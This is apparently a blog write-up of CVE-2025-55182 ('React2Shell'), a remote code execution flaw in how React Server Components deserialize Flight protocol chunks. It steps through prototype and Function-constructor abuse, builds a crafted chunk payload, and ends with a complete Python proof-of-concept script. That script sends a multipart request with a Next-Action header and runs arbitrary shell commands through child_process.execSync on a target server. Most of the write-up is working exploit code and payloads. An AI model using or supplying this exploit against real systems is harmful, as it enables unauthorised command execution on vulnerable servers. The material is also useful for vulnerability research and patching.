React2Shell | CVE-2025-55182

Nyx0r
Author
Nyx0r
X

Function Constructor in JavaScript

(Important) One of the methods to create a function in JavaScript is the function constructor.

create_function.js
1var func1 = Function() 2var func2 = Function("<function-code>") 3var func3 = Function("<param>" , "<code>")

Note: These functions are considered anonymous functions, so save them in a variable and call them.

Understanding Prototypes

The prototype represents the shape of the object (properties, functions, parameters, etc.)

Prototype explanation

We can use __proto__ to call specific functions inside this shape:

call_apply.js
1var obj = {} 2obj.__proto__.toString() 3alert.__proto__.toString()

We can call the constructor:

constructor.js
1alert.__proto__.constructor // ==> Function() which is a function constructor

We can get the Function constructor from an object: (Obj → Prototype → Function → Constructor)

alert1.js
1var x = {} 2var func7 = x.__proto__.toString.constructor("alert()")

The constructor is also considered a function:

alert2.js
1var x = {} 2var func7 = x.__proto__.constructor.constructor("alert()")
Alert example

Flight Protocol & Chunk References

The first suspicious part is the Flight Protocol, which represents data as chunks. We can reference data from another chunk using the '$' sign:

chunks.js
1files = { 2 "0": (None, '["$1"]'), // $1 -> means get the data in chunk 1 3 "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), // Go to chunk 2 and get the property fruitName from it 4 "2": (None, '{"fruitName":"cherry"}'), 5}

Output:

OUTPUT
1{ object: 'fruit', name: 'cherry' }

The problem is there's no check on the referencing of these chunks, which means we can refer to anything we want. That's the vulnerability!

We can create a function constructor inside the chunks by calling any function's constructor inside the prototype:

function_constructor2.js
1files = { 2 "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'), 3 "1": (None, '{"x":1}'), 4}

Which means:

expanded.js
1files = { 2 "0": (None, '{"then":"{"x":1}:__proto__:constructor:constructor"}'), 3}

Which evaluates to:

evaluation.js
1{"x":1}.__proto__.constructor.constructor

Output:

OUTPUT
1[Function: Function]

Now, we need to:

  • Call this function
  • Inject code inside it

Creating Thenable Functions

We've noticed in a file called action-handler.ts that the chunks are taken with the await keyword and return the value without any checks. To use this, we will create the function as a Thenable function.

Action handler code
Thenable explanation

To create it as a thenable function, we need to access the then property of the function constructor or access it from the prototype directly:

thenable.js
1files = { 2 "0": (None, '{"then":"$1:__proto__:then"}'), 3 "1": (None, '{"x":1}'), 4}

But if we go deeper inside, we'll notice in the following code snippet that we need the thenable to reference the whole chunk object, not just its data.

Chunk then code

So, we will use another shape of referencing. We'll use the $@ sign to refer to the chunk object itself, not just its data:

chunk_reference.js
1files = { 2 "0": (None, "{'then':'$1:__proto__:then'}"), 3 "1": (None, "$@0") 4}

Which means:

thenable_result.js
1Chunk.__proto__.then = function(resolve, reject) { 2 // Code Injection Vulnerability 3}

To get inside the interesting function that we highlighted in the previous screenshot, we should make the status value be "resolved_model":

status_set.js
1files = { 2 "0": (None, "{'then':'$1:__proto__:then', 'status':'resolved_model'}"), 3 "1": (None, "$@0") 4}
final_thenable.js
1Chunk.__proto__.then = function(resolve, reject, 'status' == 'resolved_model') { 2 // Code Injection Vulnerability 3}

Now we've created the function, made it callable, and we're inside the vulnerable function initializeModelChunk that we want to exploit.

Complete Exploitation Steps

All we need now is to override this function to inject our payload that will lead to RCE:

initializeModelChunk.js
1function initializeModelChunk(chunk) { 2 // ... 3 var rawModel = JSON.parse(resolvedModel), 4 value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference); 5 // ... 6}

The vulnerable function takes a property from chunk called _response and passes it to the reviveModel function:

reviveModel.js
1case "B": 2 return ( 3 (obj = parseInt(value.slice(2), 16)), 4 response._formData.get(response._prefix + obj) 5 );

Inside the function, there's a get function that we will override. It takes a _prefix property from the _response object for case 'B'.

Complete Payload Steps

  1. Refer to the chunk object itself using $@
  2. Create a function constructor inside the chunk
  3. Make it thenable to be called and set status as "resolved_model"
  4. Edit the _response object to inject our payload
  5. Override the get function to make a function constructor which will take the _prefix property from us
  6. Make the _prefix property a system command code
RCE.js
1crafted_chunk = { 2 "then": "$1:__proto__:then", 3 "status": "resolved_model", 4 "reason": -1, 5 "value": '{"then": "$B0"}', 6 "_response": { 7 "_prefix": f"process.mainModule.require('child_process').execSync('calc');", 8 "_formData": { 9 "get": "$1:constructor:constructor", 10 }, 11 }, 12} 13 14files = { 15 "0": (None, json.dumps(crafted_chunk)), 16 "1": (None, '"$@0"'), 17}

Proof of Concept

You can use the following Python script as a proof of concept:

React2Shell.py
1import requests 2import sys 3import json 4 5TARGET_URL = "http://localhost:3000" 6COMMAND = "id" 7 8crafted_chunk = { 9 "then": "$1:__proto__:then", 10 "status": "resolved_model", 11 "reason": -1, 12 "value": '{"then": "$B0"}', 13 "_response": { 14 "_prefix": f"var res = process.mainModule.require('child_process').execSync('{COMMAND}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:${res}}});", 15 "_formData": { 16 "get": "$1:constructor:constructor", 17 }, 18 }, 19} 20 21files = { 22 "0": (None, json.dumps(crafted_chunk)), 23 "1": (None, '"$@0"'), 24} 25 26headers = {"Next-Action": "x"} 27res = requests.post(TARGET_URL, files=files, headers=headers, timeout=10) 28print(res.status_code) 29print(res.text)
Share this article:
X